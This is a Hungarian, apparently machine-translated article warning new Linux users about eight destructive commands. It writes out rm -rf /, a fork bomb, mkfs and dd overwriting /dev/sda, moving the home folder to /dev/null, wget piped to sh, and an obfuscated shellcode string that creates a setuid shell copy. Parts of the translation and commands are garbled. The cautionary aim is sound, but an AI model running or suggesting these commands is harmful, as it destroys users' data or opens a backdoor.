8 Halálos parancsok, amelyeket soha nem szabad Linuxon futni

Tartalomjegyzék:

8 Halálos parancsok, amelyeket soha nem szabad Linuxon futni
8 Halálos parancsok, amelyeket soha nem szabad Linuxon futni

Videó: 8 Halálos parancsok, amelyeket soha nem szabad Linuxon futni

Videó: 8 Halálos parancsok, amelyeket soha nem szabad Linuxon futni
Videó: Meeting #2 - 4/24/2022 | ETF team member dialogue - YouTube 2024, November
Anonim
A Linux terminál parancsai erőteljesek, és a Linux nem fogja megkérni a megerősítést, ha olyan parancsot futtat, amely megszakítja a rendszert. Nem ritka, hogy az internetes trollok azt javasolják, hogy az új Linux-felhasználók vicceket fussanak.
A Linux terminál parancsai erőteljesek, és a Linux nem fogja megkérni a megerősítést, ha olyan parancsot futtat, amely megszakítja a rendszert. Nem ritka, hogy az internetes trollok azt javasolják, hogy az új Linux-felhasználók vicceket fussanak.

A nem működő parancsok megtanulása segít megvédeni Önt a trolloktól, miközben megnöveli a Linux működésének megértését. Ez nem egy kimerítő útmutató, és az itt található parancsok sokféle módon felcserélhetők.

Ne feledje, hogy ezek közül a parancsok közül sok csak veszélyes lehet, ha előzetesen vannak sudo az Ubuntuban - másképp nem fognak működni. Más Linux disztribúciók esetében a legtöbb parancsot gyökérként kell futtatni.

rm -rf / - Törli mindent!

A parancs rm-rf / minden lehetséges módon törli, beleértve a merevlemezen lévő fájlokat és a csatlakoztatott cserélhető adathordozó eszközök fájljait. Ez a parancs érthetőbb, ha le van bontva:

rm – Remove the following files.

- rf – Run rm recursively (delete all files and folders inside the specified folder) and force-remove all files without prompting you.

/ – Tells rm to start at the root directory, which contains all the files on your computer and all mounted media devices, including remote file shares and removable drives.

A Linux boldogan engedelmeskedik ennek a parancsnak, és mindent töröl anélkül, hogy kéri, ezért legyen óvatos, ha használod! Az rm parancs más veszélyes módokon is használható - rm-rf ~ törli az otthoni mappában lévő összes fájlt, miközben rm-rf. * törölné az összes konfigurációs fájlt.

A lecke: Vigyázz rm-rf-re.

Álcázott rm -rf /

Itt van egy másik kódrészlet, amely az egész interneten található:

char esp _attribute_ ((section(“.text”))) /* e.s.p release */ = “xebx3ex5bx31xc0x50x54x5ax83xecx64x68” “xffxffxffxffx68xdfxd0xdfxd9x68x8dx99” “xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7” “x56x04xf7x56x08xf7x56x0cx83xc4x74x56” “x8dx73x08x56x53x54x59xb0x0bxcdx80x31” “xc0x40xebxf9xe8xbdxffxffxffx2fx62x69” “x6ex2fx73x68x00x2dx63x00” “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;

Ez az rm-rf / ennek a parancsnak a végrehajtása törli a fájlokat, mintha rm -rf / parancsot futtatnál.

A lecke: Ne fusson olyan furcsa, nyilvánvalóan álcázott parancsokat, amelyeket nem ért.

: () {: |: &};: - Fork Bomb

A következő sor egyszerű, de veszélyes, bash funkció:

:(){:|: &};:

Ez a rövid vonal olyan shell függvényt határoz meg, amely önmagában új példányokat hoz létre. Az eljárás folyamatosan megismétli magát, és a másolatok folyamatosan reprodukálják magukat, gyorsan felveszi az összes CPU időt és memóriát. Ez a számítógép fagyását okozhatja. Alapvetően egy szolgáltatásmegtagadási támadás.

A lecke: A bash funkciók erőteljesek, még a nagyon rövidek is.

Image
Image

mkfs.ext4 / dev / sda1 - Formázza a merevlemezt

A mkfs.ext4 / dev / sda1parancs könnyen érthető:

mkfs.ext4 – Create a new ext4 file system on the following device.

/dev/sda1 – Specifies the first partition on the first hard drive, which is probably in use.

Összefoglalva, ez a parancs egyenértékű a c formátummal: Windows rendszeren - törli az első partícióban lévő fájlokat, és új fájlrendszerrel helyettesíti őket.

Ez a parancs más formában is megjelenhet - mkfs.ext3 / dev / sdb2 formázza a második partíciót a második merevlemezen az ext3 fájlrendszerrel.

A lecke: Vigyázz a futó parancsokra közvetlenül a / dev / sd-vel kezdődő merevlemez-eszközökön.

command / dev / sda - közvetlenül merevlemezre ír

A parancs> / dev / sda a vonal hasonlóan működik - parancsot futtat és a parancs kimenetét közvetlenül az első merevlemezére küldi, az adatokat közvetlenül a merevlemez meghajtójába írja, és károsítja a fájlrendszert.

command – Run a command (can be any command.)

> – Send the output of the command to the following location.

/dev/sda – Write the output of the command directly to the hard disk device.

A lecke: Mint fent, vigyázz a parancsfájlokra, amelyek a / dev / sd-vel kezdődő merevlemezes eszközöket tartalmazzák.

dd ha = / dev / véletlenszerűen = / dev / sda - írja le a merevlemezről a junkot

A dd ha = / dev / random = / dev / sda a vonal törli az adatokat egy merevlemezen.

dd – Perform low-level copying from one location to another.

if=/dev/random – Use /dev/random (random data) as the input – you may also see locations such as /dev/zero (zeros).

of=/dev/sda – Output to the first hard disk, replacing its file system with random garbage data.

A lecke: dd adatokat másol egy helyről a másikra, ami veszélyes lehet, ha közvetlenül egy eszközt másol.

Image
Image

mv ~ / dev / null - Az otthoni címtárat egy fekete lyukra mozgatja

A / dev / null egy másik különleges hely - a / dev / null-hoz való mozgatás ugyanaz, mint a megsemmisítése. Gondolj a / dev / null fekete lyukra. Lényegében, mv ~ / dev / null minden személyes fájlt fekete lyukba küld.

mv – Move the following file or directory to another location.

~ – Represents your entire home folder.

/dev/null – Move your home folder to /dev/null, destroying all your files and deleting the original copies.

A lecke: A ~ karakter az otthoni mappát jelöli, és a / dev / null fájlok mozgatása elpusztítja őket.

wget https://example.com/ valami -O - | sh - Letöltések és parancsfájlok futtatása

A fenti sor letölti a parancsfájlt az internetről, és elküldi a sh-nak, amely végrehajtja a szkript tartalmát. Ez veszélyes lehet, ha nem tudja pontosan, hogy mi a szkript, vagy ha nem bízik a forrásban - ne futtasson megbízhatatlan szkripteket.

wget – Downloads a file. (You may also see curl in place of wget.)

https://example.com/something – Download the file from this location.

| – Pipe (send) the output of the wget command (the file you downloaded) directly to another command.

sh – Send the file to the sh command, which executes it if it’s a bash script.

A lecke: Ne töltsön le és futtasson megbízhatatlan parancsfájlokat az internetről, még akkor sem, ha parancsot ad.

Ismerje meg a veszélyes parancsokat, amelyeket az új (és tapasztalt) Linux felhasználóknak nem kellene futtatniuk? Hagy egy megjegyzést és ossza meg őket!

Ajánlott: